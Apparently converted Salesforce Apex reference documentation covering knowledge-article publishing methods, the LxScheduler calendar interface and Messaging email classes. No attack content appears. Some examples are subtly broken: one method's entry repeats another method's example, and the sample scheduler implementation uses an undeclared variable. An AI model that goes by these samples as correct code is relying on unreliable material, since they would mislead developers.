public static Void assignDraftTranslationTask(String articleVersionId, String assigneeId, String instructions, Datetime dueDate, Boolean sendEmailNotification)

Parameters

articleVersionId
Type: String
assigneeId
Type: String
instructions
Type: String
dueDate
Type: Datetime
sendEmailNotification
Type: Boolean

Return Value
Type: Void

Example

String articleId = 'Insert article ID';
String assigneeId = 'Insert assignee ID';
String instructions = 'Please review this draft.';
Datetime dueDate = Datetime.newInstanceGmt(2012, 12, 1);
 KbManagement.PublishingService.assignDraftTranslationTask(articleId, assigneeId, instructions, dueDate, true);

cancelScheduledArchivingOfArticle(articleId)

Cancels the scheduled archiving of an online article.

Signature

public static Void cancelScheduledArchivingOfArticle(String articleId)
cancelScheduledPublicationOfArticle(articleId)
Cancels the scheduled publication of a draft article.

Signature
public static Void cancelScheduledPublicationOfArticle(String articleId)

Parameters
articleId
Type: String

Return Value
Type: Void

Example
String articleId = 'Insert article ID';
KbManagement.PublishingService.cancelScheduledPublicationOfArticle (articleId);

completeTranslation(articleVersionId)
Puts a translation in a completed state that is ready to publish.

Signature
public static Void completeTranslation(String articleVersionId)

Parameters
articleVersionId
Type: String

Return Value
Type: Void

Example
String articleId = 'Insert article ID';
KbManagement.PublishingService.cancelScheduledPublicationOfArticle (articleId);
Return Value
Type: Void

Example

```java
String articleVersionId = 'Insert article ID';
KbManagement.PublishingService.completeTranslation(articleVersionId);
```

**deleteArchivedArticle(articleId)**

Deletes an archived article.

Signature

```java
public static Void deleteArchivedArticle(String articleId)
```

Parameters

- `articleId`
  Type: `String`

Return Value
Type: Void

Example

```java
String articleId = 'Insert article ID';
KbManagement.PublishingService.deleteArchivedArticle(articleId);
```

**deleteArchivedArticleVersion(articleId, versionNumber)**

Deletes a specific version of an archived article.

Signature

```java
public static Void deleteArchivedArticleVersion(String articleId, Integer versionNumber)
```

Parameters

- `articleId`
  Type: `String`

- `versionNumber`
  Type: `Integer`

Return Value
Type: Void
Example

```java
String articleId = 'Insert article ID';
Integer versionNumber = 1;
KbManagement.PublishingService.deleteArchivedArticleVersion(articleId, versionNumber);
```

deleteDraftArticle(articleId)
Deletes a draft article.

Signature
```java
public static Void deleteDraftArticle(String articleId)
```

Parameters
- `articleId`
  Type: `String`

Return Value
Type: Void

Example
```java
String articleId = 'Insert article ID';
KbManagement.PublishingService.deleteDraftArticle(articleId);
```

deleteDraftTranslation(articleVersionId)
Deletes a draft translation.

Signature
```java
public static Void deleteDraftTranslation(String articleVersionId)
```

Parameters
- `articleVersionId`
  Type: `String`

Return Value
Type: Void

Example
```java
String articleVersionId = 'Insert article ID';
KbManagement.PublishingService.deleteDraftTranslation(articleVersionId);
```
**editArchivedArticle(articleId)**

Creates a draft article from the archived master version and returns the new draft master version ID of the article.

Signature

```java
public static String editArchivedArticle(String articleId)
```

Parameters

- **articleId**
  - Type: String

Return Value

- Type: String

Example

```java
String articleId = 'Insert article ID';
String id = KbManagement.PublishingService.editArchivedArticle(articleId);
```

**editOnlineArticle(articleId, unpublish)**

Creates a draft article from the online version and returns the new draft master version ID of the article. Also, unpublishes the online article, if `unpublish` is set to `true`.

Signature

```java
public static String editOnlineArticle(String articleId, Boolean unpublish)
```

Parameters

- **articleId**
  - Type: String
- **unpublish**
  - Type: Boolean

Return Value

- Type: String

Example

```java
String articleId = 'Insert article ID';
String id = KbManagement.PublishingService.editOnlineArticle(articleId, true);
```
**editPublishedTranslation(articleId, language, unpublish)**

Creates a draft version of the online translation for a specific language and returns the new draft master version ID of the article. Also, unpublishes the article, if set to `true`.

**Signature**

```java
public static String editPublishedTranslation(String articleId, String language, Boolean unpublish)
```

**Parameters**

- `articleId`
  - Type: `String`

- `language`
  - Type: `String`

- `unpublish`
  - Type: `Boolean`

**Return Value**

- Type: `String`

**Example**

```java
String articleId = 'Insert article ID';
String language = 'fr';
String id = KbManagement.PublishingService.editPublishedTranslation(articleId, language, true);
```

**publishArticle(articleId, flagAsNew)**

Publishes an article. If `flagAsNew` is set to `true`, the article is published as a major version.

**Signature**

```java
public static Void publishArticle(String articleId, Boolean flagAsNew)
```

**Parameters**

- `articleId`
  - Type: `String`

- `flagAsNew`
  - Type: `Boolean`

**Return Value**

- Type: `Void`
Example

```java
String articleId = 'Insert article ID';
KbManagement.PublishingService.publishArticle(articleId, true);
```

`restoreOldVersion(articleId, versionNumber)`

Creates a draft article from an existing online article based on the specified archived version of the article and returns the article version ID.

Signature

```java
public static String restoreOldVersion(String articleId, Integer versionNumber)
```

Parameters

- `articleId`
  - Type: String
- `versionNumber`
  - Type: Integer

Return Value

Type: String

Example

```java
String articleId = 'Insert article ID';
String id = KbManagement.PublishingService.restoreOldVersion (articleId, 1);
```

`scheduledForPublication(articleId, scheduledDate)`

Schedules the article for publication as a major version. If the specified date is null, the article is published immediately.

Signature

```java
public static Void scheduledForPublication(String articleId, Datetime scheduledDate)
```

Parameters

- `articleId`
  - Type: String
- `scheduledDate`
  - Type: Datetime

Return Value

Type: Void
setTranslationToIncomplete(articleVersionId)
Sets a draft translation that is ready for publication back to “in progress” status.

Signature
public static Void setTranslationToIncomplete(String articleVersionId)

Parameters
articleVersionId
Type: String

Return Value
Type: Void

Example
String articleVersionId = 'Insert article ID';
KbManagement.PublishingService.setTranslationToIncomplete(articleVersionId);

submitForTranslation(articleId, language, assigneeId, dueDate)
Submits an article for translation to the specified language. Also assigns the specified user and due date to the submittal and returns new ID of the draft translation.

Signature
public static String submitForTranslation(String articleId, String language, String assigneeId, Datetime dueDate)

Parameters
articleId
Type: String
language
Type: String
assigneeId
Type: String
dueDate
Type: Datetime
Return Value
Type: String

Example

```java
String articleId = 'Insert article ID';
String language = 'fr';
String assigneeId = 'Insert assignee ID';
Datetime dueDate = Datetime.newInstanceGmt(2012, 12, 1);
String id = KbManagement.PublishingService.submitForTranslation(articleId, language, assigneeId, dueDate);
```

LxScheduler Namespace

The LxScheduler namespace provides an interface and classes for integrating Salesforce Scheduler with external calendars. The following are the classes and the interface in the LxScheduler namespace.

IN THIS SECTION:

- **ServiceResourceScheduleHandler Interface**
  Allows an implementing class to check external calendar events to find already booked time slots for the requested service resources. This interface is part of Salesforce Scheduler.

- **ServiceAppointmentRequestInfo Class**
  Represents the list of parameters that are passed to the ServiceResourceScheduleHandler interface. This class is implemented internally by Apex.

- **ServiceResourceInfo Class**
  Contains information about a service resource.

- **ServiceResourceSchedule Class**
  Use this class to pass results from your implemented Apex class to the ServiceResourceScheduleHandler interface methods.

- **UnavailableTimeslot Class**
  Use this class to pass the unavailable time slots to the lxscheduler.ServiceResourceSchedule class.

**ServiceResourceScheduleHandler Interface**

Allows an implementing class to check external calendar events to find already booked time slots for the requested service resources. This interface is part of Salesforce Scheduler.

**Namespace**

LxScheduler

**Usage**

The lxscheduler.ServiceResourceScheduleHandler interface is called by Salesforce Scheduler APIs.
To implement this interface, you must first declare a class with the `implements` keyword as follows:

```java
public class ServiceResourceScheduleHandlerImpl implements LxScheduler.ServiceResourceScheduleHandler{
}
```

Next, your class must provide an implementation for the following method:

```java
public static List<LxScheduler.ServiceResourceSchedule> getUnavailableTimeslots(LxScheduler.ServiceAppointmentRequestInfo requestInfo){
    //Your code here
}
```

The implemented method must be declared as `global` or `public`.

**IN THIS SECTION:**
- ServiceResourceScheduleHandler Methods
- ServiceResourceScheduleHandler Example Implementation

**ServiceResourceScheduleHandler Methods**

The following are methods for `ServiceResourceScheduleHandler`.

**IN THIS SECTION:**
- getUnavailableTimeslots(var1)
  
  Passes the required information to get unavailable time slots from an external system. The implementation of this method returns the `lxscheduler.ServiceResourceSchedule` class.

**getUnavailableTimeslots(var1)**

Passes the required information to get unavailable time slots from an external system. The implementation of this method returns the `lxscheduler.ServiceResourceSchedule` class.

**Signature**

```java
public List<lxscheduler.ServiceResourceSchedule> getUnavailableTimeslots(lxscheduler.ServiceAppointmentRequestInfo var1)
```

**Parameters**

- `var1`
  
  Type: `lxscheduler.ServiceAppointmentRequestInfo`  
  
  Represents the list of parameters that are passed to the `ServiceResourceScheduleHandler` interface.

**Return Value**

- Type: `List<lxscheduler.ServiceResourceSchedule>`
ServiceResourceScheduleHandler Example Implementation

This is an example implementation of the lxscheduler.ServiceResourceScheduleHandler interface.

```java
/**
 * Implement interface lxscheduler.ServiceResourceScheduleHandler
 * This class is called when fetching service resources and time slots through Salesforce Scheduler API.*/
public class ServiceResourceScheduleHandlerImpl implements lxscheduler.ServiceResourceScheduleHandler {

    // The main interface method.
    public static List<lxscheduler.ServiceResourceSchedule> getUnavailableTimeslots(lxscheduler.ServiceAppointmentRequestInfo requestInfo) {
        // Request info values.
        List<lxscheduler.ServiceResourceInfo> serviceResources = requestInfo.getServiceResources();
        DateTime startDate = requestInfo.getStartDate();
        DateTime endDate = requestInfo.getEndDate();

        Set<lxscheduler.UnavailableTimeslot> unavailabilityIntervals = new Set<lxscheduler.UnavailableTimeslot>();

        // This is a dummy response. Implement your own business logic to connect to your internal or external systems.
        for (Integer i = 0; i < 5; i++) {
            // Set the unavailability intervals of a service resource.
            unavailabilityIntervals.add(new lxscheduler.UnavailableTimeslot(startDate.addMinutes(15*i), startDate.addMinutes(15*(i+1))));
        }

        for (lxscheduler.ServiceResourceInfo serviceResource : serviceResources) {
            // Set the unavailability of Service resource.
            resourceUnavailability.add(new lxscheduler.ServiceResourceSchedule(serviceResource.getServiceResourceId(), unavailabilityIntervals));
        }

        return resourceUnavailability;
    }
}
```

ServiceAppointmentRequestInfo Class

Represents the list of parameters that are passed to the ServiceResourceScheduleHandler interface. This class is implemented internally by Apex.
Namespace

LxScheduler

IN THIS SECTION:

ServiceAppointmentRequestInfo Methods

ServiceAppointmentRequestInfo Methods
The following are methods for ServiceAppointmentRequestInfo.

IN THIS SECTION:

getAccountId()  
Returns the account ID of the customer if the API request contains one.

getCorrelationId()  
Returns a unique identifier for a request.

getEndDate()  
Returns the end date and time for which unavailable time slots are requested.

getPrimaryResourceId()  
Returns the ID of the primary service resource.

getSchedulingPolicyId()  
Returns the ID of the scheduling policy that the API request contains.

getServiceResources()  
Returns the list of requested service resources for the unavailable time slots.

getStartDate()  
Returns the start date and time for which unavailable time slots are requested.

getWorkTypeGroupId()  
Returns the work type group ID if the API request contains one.

getWorkTypeId()  
Returns the work type ID if the API request contains one.

getaccountId()  
Returns the account ID of the customer if the API request contains one.

Signature

public String getAccountId()

Return Value

Type: String
**getCorrelationId()**
Returns a unique identifier for a request.

Signature
```java
public String getCorrelationId()
```

Return Value
Type: String

**getEndDate()**
Returns the end date and time for which unavailable time slots are requested.

Signature
```java
public Datetime getEndDate()
```

Return Value
Type: Datetime

**getPrimaryResourceId()**
Returns the ID of the primary service resource.

Signature
```java
public String getPrimaryResourceId()
```

Return Value
Type: String

**getSchedulingPolicyId()**
Returns the ID of the scheduling policy that the API request contains.

Signature
```java
public String getSchedulingPolicyId()
```

Return Value
Type: String

**getServiceResources()**
Returns the list of requested service resources for the unavailable time slots.
Signature
public List<lxscheduler.ServiceResourceInfo> getServiceResources()

Return Value
Type: List<lxscheduler.ServiceResourceInfo>

getStartDate()
Returns the start date and time for which unavailable time slots are requested.

Signature
public Datetime getStartDate()

Return Value
Type: Datetime

getWorkTypeGroupId()
Returns the work type group ID if the API request contains one.

Signature
public String getWorkTypeGroupId()

Return Value
Type: String

getWorkTypeId()
Returns the work type ID if the API request contains one.

Signature
public String getWorkTypeId()

Return Value
Type: String

**ServiceResourceInfo Class**
Contains information about a service resource.

**Namespace**
LxScheduler
IN THIS SECTION:

**ServiceResourceInfo Methods**

The following are methods for `ServiceResourceInfo`.

### getEmail()

Returns the email ID of the service resource.

**Signature**

```java
public String getEmail()
```

**Return Value**

Type: `String`

### getResourceType()

Returns the type of the service resource such as Technician or Asset.

**Signature**

```java
public String getResourceType()
```

**Return Value**

Type: `String`
**getServiceResourceId()**
Returns the ID of the service resource.

Signature

```java
public String getServiceResourceId()
```

Return Value
Type: `String`

**getTerritoryIds()**
Returns a list of requested service territories for the service resource.

Signature

```java
public List<String> getTerritoryIds()
```

Return Value
Type: `List<String>`

**getUserId()**
Returns the user ID of the service resource.

Signature

```java
public String getUserId()
```

Return Value
Type: `String`

**getUserName()**
Returns the user name of the service resource.

Signature

```java
public String getUserName()
```

Return Value
Type: `String`

**ServiceResourceSchedule Class**
Use this class to pass results from your implemented Apex class to the ServiceResourceScheduleHandler interface methods.
Namespace
LxScheduler

IN THIS SECTION:
ServiceResourceSchedule Constructors
ServiceResourceSchedule Properties

ServiceResourceSchedule Constructors
The following are constructors for ServiceResourceSchedule.

IN THIS SECTION:
ServiceResourceSchedule(serviceResourceId, unavailableTimeslots)
Creates a new instance of lxscheduler.ServiceResourceSchedule class.

ServiceResourceSchedule(serviceResourceId, unavailableTimeslots)
Creates a new instance of lxscheduler.ServiceResourceSchedule class.

Signature
public ServiceResourceSchedule(String serviceResourceId,
Set<lxscheduler.UnavailableTimeslot> unavailableTimeslots)

Parameters
serviceResourceId
Type: String
Record ID of the service resource.
unavailableTimeslots
Type: Set<lxscheduler.UnavailableTimeslot>
An instance of lxscheduler.UnavailableTimeslot class.

ServiceResourceSchedule Properties
The following are properties for ServiceResourceSchedule.

IN THIS SECTION:
serviceResourceId
Record ID of the service resource.
unavailableTimeslots
An instance of lxscheduler.UnavailableTimeslot class.
**serviceResourceId**
Record ID of the service resource.

Signature

```java
public String serviceResourceId {get; set;}
```

Property Value
Type: `String`

**unavailableTimeslots**
An instance of `lxscheduler.UnavailableTimeslot` class.

Signature

```java
public Set<lxscheduler.UnavailableTimeslot> unavailableTimeslots {get; set;}
```

Property Value
Type: `Set<lxscheduler.UnavailableTimeslot>`

**UnavailableTimeslot Class**
Use this class to pass the unavailable time slots to the `lxscheduler.ServiceResourceSchedule` class.

**Namespace**
LxScheduler

**IN THIS SECTION:**
- `UnavailableTimeslot` Constructors
- `UnavailableTimeslot` Properties

**UnavailableTimeslot Constructors**
The following are constructors for `UnavailableTimeslot`.

**IN THIS SECTION:**
- `UnavailableTimeslot(timeMin, timeMax)`
  Creates an instance of `lxscheduler.UnavailableTimeslot` class.

**UnavailableTimeslot(timeMin, timeMax)**
Creates an instance of `lxscheduler.UnavailableTimeslot` class.
Signature
public UnavailableTimeslot(Datetime timeMin, Datetime timeMax)

Parameters
timeMin
  Type: Datetime
  Start time of an unavailable time slot.
timeMax
  Type: Datetime
  End time of an unavailable time slot.

UnavailableTimeslot Properties
The following are properties for UnavailableTimeslot.

IN THIS SECTION:
timeMax
  End time of an unavailable time slot.
timeMin
  Start time of an unavailable time slot.

timeMax
End time of an unavailable time slot.

Signature
public Datetime timeMax {get; set;}

Property Value
Type: Datetime

timeMin
Start time of an unavailable time slot.

Signature
public Datetime timeMin {get; set;}

Property Value
Type: Datetime
Messaging Namespace

The **Messaging** namespace provides classes and methods for Salesforce outbound and inbound email functionality. The following are the classes in the **Messaging** namespace.

IN THIS SECTION:

- **AttachmentRetrievalOption Enum**
  Provides options for including attachment metadata only, attachment metadata and content, or excluding attachments.

- **Email Class (Base Email Methods)**
  Contains base email methods common to both single and mass email.

- **EmailFileAttachment Class**
  EmailFileAttachment is used in SingleEmailMessage to specify attachments passed in as part of the request, as opposed to existing documents in Salesforce.

- **InboundEmail Class**
  Represents an inbound email object.

- **InboundEmail.BinaryAttachment Class**
  An InboundEmail object stores binary attachments in an InboundEmail.BinaryAttachment object.

- **InboundEmail.TextAttachment Class**
  An InboundEmail object stores text attachments in an InboundEmail.TextAttachment object.

- **InboundEmailResult Class**
  The InboundEmailResult object is used to return the result of the email service. If this object is null, the result is assumed to be successful.

- **InboundEnvelope Class**
  The InboundEnvelope object stores the envelope information associated with the inbound email, and has the following fields.

- **MassEmailMessage Class**
  Contains methods for sending mass email.

- **InboundEmail.Header Class**
  An InboundEmail object stores RFC 2822 email header information in an InboundEmail.Header object with the following properties.

- **PushNotification Class**
  PushNotification is used to configure push notifications and send them from an Apex trigger.

- **PushNotificationPayload Class**
  Contains methods to create the notification message payload for an Apple device.

- **CustomNotification Class**
  CustomNotification is used to create, configure, and send custom notifications from Apex code.

- **RenderEmailTemplateBodyResult Class**
  Contains the results for rendering email templates.

- **RenderEmailTemplateError Class**
  Represents an error that the RenderEmailTemplateBodyResult object can contain.

- **SendEmailError Class**
  Represents an error that the SendEmailResult object may contain.
SendEmailResult Class
Contains the result of sending an email message.

SingleEmailMessage Methods
Contains methods for sending single email messages.

AttachmentRetrievalOption Enum
Provides options for including attachment metadata only, attachment metadata and content, or excluding attachments.

Namespace
Messaging

Usage
Use these enum values with the `renderStoredEmailTemplate(templateId, whoId, whatId, attachmentRetrievalOption)` method.

Enum Values
The following are the values of the `Messaging.AttachmentRetrievalOption` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>METADATA_ONLY</td>
<td>Includes only the file name, content type, and the object ID in the <code>fileAttachments</code> property of <code>Messaging.SingleEmailMessage</code>.</td>
</tr>
<tr>
<td></td>
<td>⚠️ Note: When the template is rendered from a Visualforce template (and not from a static file attached to the template), the object ID is not available.</td>
</tr>
<tr>
<td>METADATA_WITH_BODY</td>
<td>Includes the attachment content, in addition to the file name, content type, and the object ID in the <code>fileAttachments</code> property of <code>Messaging.SingleEmailMessage</code>.</td>
</tr>
<tr>
<td>NONE</td>
<td>Doesn't include any attachments in <code>Messaging.SingleEmailMessage</code>.</td>
</tr>
</tbody>
</table>

Email Class (Base Email Methods)
Contains base email methods common to both single and mass email.

Namespace
Messaging

Usage
⚠️ Note: If templates are not being used, all email content must be in plain text, HTML, or both. Visualforce email templates cannot be used for mass email.
Email Methods

The following are methods for Email. All are instance methods.

IN THIS SECTION:

setBccSender(bcc)
Indicates whether the email sender receives a copy of the email that is sent. For a mass mail, the sender is only copied on the first email sent.

setReplyTo(replyAddress)
Optional. The email address that receives the message when a recipient replies.

setTemplateId(templateId)
The ID of the template to be merged to create this email. Specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.

setSaveAsActivity(saveAsActivity)
Optional. The default value is true, meaning the email is saved as an activity. This argument only applies if the recipient list is based on targetObjectId or targetObjectIds. If HTML email tracking is enabled for the organization, you will be able to track open rates.

setSenderDisplayName(displayName)
Optional. The name that appears on the From line of the email. This cannot be set if the object associated with a setOrgWideEmailAddressId for a SingleEmailMessage has defined its DisplayName field.

setUseSignature(useSignature)
Indicates whether the email includes an email signature if the user has one configured. The default is true, meaning if the user has a signature it is included in the email unless you specify false.

setBccSender (bcc)
Indicates whether the email sender receives a copy of the email that is sent. For a mass mail, the sender is only copied on the first email sent.

Signature

public Void setBccSender(Boolean bcc)

Parameters

bcc
Type: Boolean

Return Value

Type: Void

Usage

Note: If the BCC compliance option is set at the organization level, the user cannot add BCC addresses on standard messages. The following error code is returned: BCC_NOT_ALLOWED_IF_BCC_COMPLIANCE_ENABLED. Contact your Salesforce representative for information on BCC compliance.
**setReplyTo(replyAddress)**
Optional. The email address that receives the message when a recipient replies.

Signature

```java
public Void setReplyTo(String replyAddress)
```

Parameters

- `replyAddress`
  - Type: `String`

Return Value

Type: `Void`

**setTemplateID(templateId)**
The ID of the template to be merged to create this email. Specify a value for `setTemplateID`, `setHtmlBody`, or `setPlainTextBody`. Or, you can define both `setHtmlBody` and `setPlainTextBody`.

Signature

```java
public Void setTemplateID(ID templateId)
```

Parameters

- `templateId`
  - Type: `ID`

Return Value

Type: `Void`

**setSaveAsActivity(saveAsActivity)**
Optional. The default value is `true`, meaning the email is saved as an activity. This argument only applies if the recipient list is based on `targetObjectId` or `targetObjectIds`. If HTML email tracking is enabled for the organization, you will be able to track open rates.

Signature

```java
public Void setSaveAsActivity(Boolean saveAsActivity)
```
Parameters

```
saveAsActivity
  Type: Boolean
```

Return Value
Type: Void

### setSenderDisplayName(displayName)

Optional. The name that appears on the From line of the email. This cannot be set if the object associated with a setOrgWideEmailAddressId for a SingleEmailMessage has defined its DisplayName field.

Signature
```
public Void setSenderDisplayName(String displayName)
```

Parameters

```
displayName
  Type: String
```

Return Value
Type: Void

### setUseSignature(useSignature)

Indicates whether the email includes an email signature if the user has one configured. The default is `true`, meaning if the user has a signature it is included in the email unless you specify `false`.

Signature
```
public Void setUseSignature(Boolean useSignature)
```

Parameters

```
useSignature
  Type: Boolean
```

Return Value
Type: Void

### EmailFileAttachment Class

EmailFileAttachment is used in SingleEmailMessage to specify attachments passed in as part of the request, as opposed to existing documents in Salesforce.
IN THIS SECTION:

EmailFileAttachment Constructors

The following are constructors for EmailFileAttachment.

IN THIS SECTION:

EmailFileAttachment()

Creates a new instance of the Messaging.EmailFileAttachment class.

Signature

public EmailFileAttachment()

EmailFileAttachment Properties

The following are properties for EmailFileAttachment.

IN THIS SECTION:

body

Gets or sets the attachment itself.

contenttype

Gets or sets the attachment’s Content-Type.

filename

Gets or sets the name of the file to attach.

id

Read-Only. Gets the attachment ID.

inline

Specifies a Content-Disposition of inline (true) or attachment (false).

body

Gets or sets the attachment itself.
Signature

```csharp
public Blob body {get; set;}
```

Property Value
Type: Blob

**contenttype**

Gets or sets the attachment’s Content-Type.

Signature

```csharp
public String contenttype {get; set;}
```

Property Value
Type: String

**filename**

Gets or sets the name of the file to attach.

Signature

```csharp
public String filename {get; set;}
```

Property Value
Type: String

**id**

Read-Only. Gets the attachment ID.

Signature

```csharp
public Id id {get;}
```

Property Value
Type: Id

**inline**

Specifies a Content-Disposition of inline (true) or attachment (false).

Signature

```csharp
public Boolean inline {get; set;}
```
Property Value
Type: Boolean

**InboundEmail Class**
Represents an inbound email object.

**Namespace**
Messaging

IN THIS SECTION:
  - InboundEmail Constructors
  - InboundEmail Properties

**InboundEmail Constructors**
The following are constructors for InboundEmail.

IN THIS SECTION:
  - InboundEmail()
    - Creates a new instance of the Messaging.InboundEmail class.

**InboundEmail()**
Creates a new instance of the Messaging.InboundEmail class.

Signature
```
public InboundEmail()
```

**InboundEmail Properties**
The following are properties for InboundEmail.

IN THIS SECTION:
  - binaryAttachments
    - A list of binary attachments received with the email, if any.
  - ccAddresses
    - A list of carbon copy (CC) addresses, if any.
  - fromAddress
    - The email address that appears in the From field.
  - fromName
    - The name that appears in the From field, if any.
headers
A list of the RFC 2822 headers in the email.

htmlBody
The HTML version of the email, if specified by the sender.

htmlBodyIsTruncated
Indicates whether the HTML body text is truncated (true) or not (false).

inReplyTo
The In-Reply-To field of the incoming email. Identifies the email or emails to which this one is a reply (parent emails). Contains the parent email or emails' message-IDs.

messageId
The Message-ID—the incoming email's unique identifier.

plainTextBody
The plain text version of the email, if specified by the sender.

plainTextBodyIsTruncated
Indicates whether the plain body text is truncated (true) or not (false).

references
The References field of the incoming email. Identifies an email thread. Contains a list of the parent emails' References and message IDs, and possibly the In-Reply-To fields.

replyTo
The email address that appears in the reply-to header.

subject
The subject line of the email, if any.

textAttachments
A list of text attachments received with the email, if any.

toAddresses
The email address that appears in the To field.

binaryAttachments
A list of binary attachments received with the email, if any.

Signature

public InboundEmail.BinaryAttachment[] binaryAttachments {get; set;}

Property Value

Type: InboundEmail.BinaryAttachment[]

Usage

Examples of binary attachments include image, audio, application, and video files.
ccAddresses
A list of carbon copy (CC) addresses, if any.

Signature
public String[] ccAddresses {get; set;}

Property Value
Type: String[]

fromAddress
The email address that appears in the From field.

Signature
public String fromAddress {get; set;}

Property Value
Type: String

fromName
The name that appears in the From field, if any.

Signature
public String fromName {get; set;}

Property Value
Type: String

headers
A list of the RFC 2822 headers in the email.

Signature
public InboundEmail.Header[] headers {get; set;}

Property Value
Type: InboundEmail.Header[]

Usage
The list of the RFC 2822 headers includes:
htmlBody
The HTML version of the email, if specified by the sender.

Signature
public String htmlBody {get; set;}

Property Value
Type: String

htmlBodyIsTruncated
Indicates whether the HTML body text is truncated (true) or not (false).

Signature
public Boolean htmlBodyIsTruncated {get; set;}

Property Value
Type: Boolean

inReplyTo
The In-Reply-To field of the incoming email. Identifies the email or emails to which this one is a reply (parent emails). Contains the parent email or emails' message-IDs.

Signature
public String inReplyTo {get; set;}

Property Value
Type: String

messageId
The Message-ID—the incoming email's unique identifier.

Signature
public String messageId {get; set;}
Property Value
Type: String

**plainTextBody**
The plain text version of the email, if specified by the sender.

Signature
```java
public String plainTextBody {get; set;}
```

Property Value
Type: String

**plainTextBodyIsTruncated**
Indicates whether the plain body text is truncated (true) or not (false.)

Signature
```java
public Boolean plainTextBodyIsTruncated {get; set;}
```

Property Value
Type: Boolean

**references**
The References field of the incoming email. Identifies an email thread. Contains a list of the parent emails' References and message IDs, and possibly the In-Reply-To fields.

Signature
```java
public String[] references {get; set;}
```

Property Value
Type: String[]

**replyTo**
The email address that appears in the reply-to header.

Signature
```java
public String replyTo {get; set;}
```

Property Value
Type: String
Usage
If there is no reply-to header, this field is identical to the `fromAddress` field.

**subject**
The subject line of the email, if any.

Signature
public String subject {get; set;}

Property Value
Type: String

**textAttachments**
A list of text attachments received with the email, if any.

Signature
public InboundEmail.TextAttachment[] textAttachments {get; set;}

Property Value
Type: InboundEmail.TextAttachment[]

Usage
The text attachments can be any of the following:
- Attachments with a Multipurpose Internet Mail Extension (MIME) type of `text`
- Attachments with a MIME type of `application/octet-stream` and a file name that ends with either a `.vcf` or `.vcs` extension. These are saved as `text/x-vcard` and `text/calendar` MIME types, respectively.

**toAddresses**
The email address that appears in the To field.

Signature
public String[] toAddresses {get; set;}

Property Value
Type: String[]

**InboundEmail.BinaryAttachment Class**
An InboundEmail object stores binary attachments in an InboundEmail.BinaryAttachment object.
Namespace
Messaging

Usage
Examples of binary attachments include image, audio, application, and video files.

IN THIS SECTION:
  InboundEmail.BinaryAttachment Constructors
  InboundEmail.BinaryAttachment Properties

InboundEmail.BinaryAttachment Constructors
The following are constructors for InboundEmail.BinaryAttachment.

IN THIS SECTION:
  InboundEmail.BinaryAttachment()
  InboundEmail.BinaryAttachment()

InboundEmail.BinaryAttachment()
Creates a new instance of the Messaging.InboundEmail.BinaryAttachment class.

Signature
public InboundEmail.BinaryAttachment()

InboundEmail.BinaryAttachment Properties
The following are properties for InboundEmail.BinaryAttachment.

IN THIS SECTION:
  body
  fileName
  headers
  mimeTypeSubType

body
The body of the attachment.

fileName
The name of the attached file.

headers
Any header values associated with the attachment. Examples of header names include Content-Type, Content-Transfer-Encoding, and Content-ID.

mimeTypeSubType
The primary and sub MIME-type.
**public Blob** body {get; set;}

**Property Value**
Type: Blob

**fileName**
The name of the attached file.

**public String** fileName {get; set;}

**Property Value**
Type: String

**headers**
Any header values associated with the attachment. Examples of header names include Content-Type, Content-Transfer-Encoding, and Content-ID.

**public List<Messaging.InboundEmail.Header>** headers {get; set;}

**Property Value**
Type: List<Messaging.InboundEmail.Header>

**mimeTypeSubType**
The primary and sub MIME-type.

**public String** mimeTypeSubType {get; set;}

**Property Value**
Type: String

**InboundEmail.TextAttachment Class**
An InboundEmail object stores text attachments in an InboundEmail.TextAttachment object.
Namespace

Messaging

Usage

The text attachments can be any of the following:

- Attachments with a Multipurpose Internet Mail Extension (MIME) type of text
- Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.

InboundEmail.TextAttachment Constructors

The following are constructors for InboundEmail.TextAttachment.

IN THIS SECTION:

InboundEmail.TextAttachment()
Creates a new instance of the Messaging.InboundEmail.TextAttachment class.

InboundEmail.TextAttachment()
Creates a new instance of the Messaging.InboundEmail.TextAttachment class.

Signature

public InboundEmail.TextAttachment()
headers
Any header values associated with the attachment. Examples of header names include Content-Type, Content-Transfer-Encoding, and Content-ID.

mimeTypeSubType
The primary and sub MIME-type.

body
The body of the attachment.

Signature
public String body {get; set;}

Property Value
Type: String

bodyIsTruncated
Indicates whether the attachment body text is truncated (true) or not (false).

Signature
public Boolean bodyIsTruncated {get; set;}

Property Value
Type: Boolean

charset
The original character set of the body field. The body is re-encoded as UTF-8 as input to the Apex method.

Signature
public String charset {get; set;}

Property Value
Type: String

fileName
The name of the attached file.

Signature
public String fileName {get; set;}

Property Value
Type: String
Property Value
Type: String

**headers**
Any header values associated with the attachment. Examples of header names include `Content-Type`, `Content-Transfer-Encoding`, and `Content-ID`.

Signature
```java
public List<Messaging.InboundEmail.Header> headers {get; set;}
```

Property Value
Type: List<Messaging.InboundEmail.Header>

**mimeTypeSubType**
The primary and sub MIME-type.

Signature
```java
public String mimeTypeSubType {get; set;}
```

Property Value
Type: String

**InboundEmailResult Class**
The InboundEmailResult object is used to return the result of the email service. If this object is null, the result is assumed to be successful.

**Namespace**
*Messaging*

**InboundEmailResult Properties**
The following are properties for InboundEmailResult.

IN THIS SECTION:

- **message**
  A message that Salesforce returns in the body of a reply email. This field can be populated with text irrespective of the value returned by the `Success` field.

- **success**
  A value that indicates whether the email was successfully processed.
**message**
A message that Salesforce returns in the body of a reply email. This field can be populated with text irrespective of the value returned by the `Success` field.

Signature
```
public String message {get; set;}
```

Property Value
Type: `String`

**success**
A value that indicates whether the email was successfully processed.

Signature
```
public Boolean success {get; set;}
```

Property Value
Type: `Boolean`

Usage
If `false`, Salesforce rejects the inbound email and sends a reply email to the original sender containing the message specified in the `Message` field.

### InboundEnvelope Class
The `InboundEnvelope` object stores the envelope information associated with the inbound email, and has the following fields.

### Namespace
Messaging

### InboundEnvelope Properties
The following are properties for `InboundEnvelope`.

IN THIS SECTION:
- **fromAddress**
  The name that appears in the `From` field of the envelope, if any.
- **toAddress**
  The name that appears in the `To` field of the envelope, if any.
**fromAddress**
The name that appears in the From field of the envelope, if any.

Signature

```java
public String fromAddress {get; set;}
```

Property Value
Type: String

**toAddress**
The name that appears in the To field of the envelope, if any.

Signature

```java
public String toAddress {get; set;}
```

Property Value
Type: String

**MassEmailMessage Class**
Contains methods for sending mass email.

**Namespace**

```
Messaging
```

